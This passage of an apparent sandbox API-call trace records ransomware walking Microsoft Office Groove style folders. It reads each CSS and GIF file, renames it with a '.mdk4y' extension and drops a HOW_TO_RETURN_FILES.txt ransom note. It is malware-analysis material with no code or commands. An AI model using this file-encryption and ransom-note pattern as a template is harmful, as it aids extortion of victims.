dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.588] GetFileType (hFile=0x134) returned 0x1 [0217.589] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.589] AreFileApisANSI () returned 1 [0217.589] GetACP () returned 0x4e4 [0217.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37dd1c) returned 16 [0217.589] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829282000000) returned 1 [0217.590] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xcb6, lpOverlapped=0x0) returned 1 [0217.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829283900000) returned 1 [0217.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829283900000) returned 1 [0217.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css.mdk4y")) returned 1 [0217.611] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.611] AreFileApisANSI () returned 1 [0217.611] GetACP () returned 0x4e4 [0217.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Casual.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Casual.cssow.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0217.611] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829284200000) returned 1 [0217.612] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3a2, lpOverlapped=0x0) returned 1 [0217.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829284300000) returned 1 [0217.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829284300000) returned 1 [0217.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css.mdk4y")) returned 1 [0217.614] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.614] AreFileApisANSI () returned 1 [0217.614] GetACP () returned 0x4e4 [0217.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Country.css", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Country.cssw.css", lpUsedDefaultChar=0x37dd1c) returned 11 [0217.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829284500000) returned 1 [0217.615] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x373, lpOverlapped=0x0) returned 1 [0217.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829285500000) returned 1 [0217.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829285500000) returned 1 [0217.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css.mdk4y")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.626] AreFileApisANSI () returned 1 [0217.626] GetACP () returned 0x4e4 [0217.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Deserty.css", lpUsedDefaultChar=0x37dd1c) returned 6 [0217.626] AreFileApisANSI () returned 1 [0217.627] GetACP () returned 0x4e4 [0217.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=102, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\") returned 102 [0217.627] AreFileApisANSI () returned 1 [0217.627] GetACP () returned 0x4e4 [0217.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.627] AreFileApisANSI () returned 1 [0217.627] GetACP () returned 0x4e4 [0217.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.627] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.627] AreFileApisANSI () returned 1 [0217.627] GetACP () returned 0x4e4 [0217.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.628] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829285800000) returned 1 [0217.628] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x94, lpOverlapped=0x0) returned 1 [0217.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829285900000) returned 1 [0217.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829285900000) returned 1 [0217.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif.mdk4y")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.630] AreFileApisANSI () returned 1 [0217.630] GetACP () returned 0x4e4 [0217.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286100000) returned 1 [0217.631] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1f0, lpOverlapped=0x0) returned 1 [0217.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286200000) returned 1 [0217.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286200000) returned 1 [0217.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif.mdk4y")) returned 1 [0217.633] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.633] AreFileApisANSI () returned 1 [0217.633] GetACP () returned 0x4e4 [0217.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286400000) returned 1 [0217.634] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x401, lpOverlapped=0x0) returned 1 [0217.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286600000) returned 1 [0217.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829286600000) returned 1 [0217.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif.mdk4y")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.643] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.644] AreFileApisANSI () returned 1 [0217.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 126 [0217.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.645] GetFileType (hFile=0x134) returned 0x1 [0217.646] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.646] AreFileApisANSI () returned 1 [0217.646] GetACP () returned 0x4e4 [0217.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Desert.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Desert.csss", lpUsedDefaultChar=0x37dd1c) returned 10 [0217.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829287700000) returned 1 [0217.647] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x977, lpOverlapped=0x0) returned 1 [0217.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829287900000) returned 1 [0217.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829287900000) returned 1 [0217.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css.mdk4y")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.650] AreFileApisANSI () returned 1 [0217.650] GetACP () returned 0x4e4 [0217.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Earthy.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Earthy.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0217.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829288100000) returned 1 [0217.651] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x370, lpOverlapped=0x0) returned 1 [0217.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829288700000) returned 1 [0217.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829288700000) returned 1 [0217.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css.mdk4y")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.658] AreFileApisANSI () returned 1 [0217.658] GetACP () returned 0x4e4 [0217.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GrayChecks", lpUsedDefaultChar=0x37dd1c) returned 9 [0217.658] AreFileApisANSI () returned 1 [0217.658] GetACP () returned 0x4e4 [0217.658] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=105, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\꬀\x94") returned 105 [0217.658] AreFileApisANSI () returned 1 [0217.658] GetACP () returned 0x4e4 [0217.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.658] AreFileApisANSI () returned 1 [0217.658] GetACP () returned 0x4e4 [0217.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.659] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.659] AreFileApisANSI () returned 1 [0217.659] GetACP () returned 0x4e4 [0217.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829288900000) returned 1 [0217.659] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1b8, lpOverlapped=0x0) returned 1 [0217.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289000000) returned 1 [0217.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289000000) returned 1 [0217.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif.mdk4y")) returned 1 [0217.661] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.661] AreFileApisANSI () returned 1 [0217.661] GetACP () returned 0x4e4 [0217.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.661] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289200000) returned 1 [0217.662] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289300000) returned 1 [0217.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289300000) returned 1 [0217.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif.mdk4y")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.666] AreFileApisANSI () returned 1 [0217.666] GetACP () returned 0x4e4 [0217.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 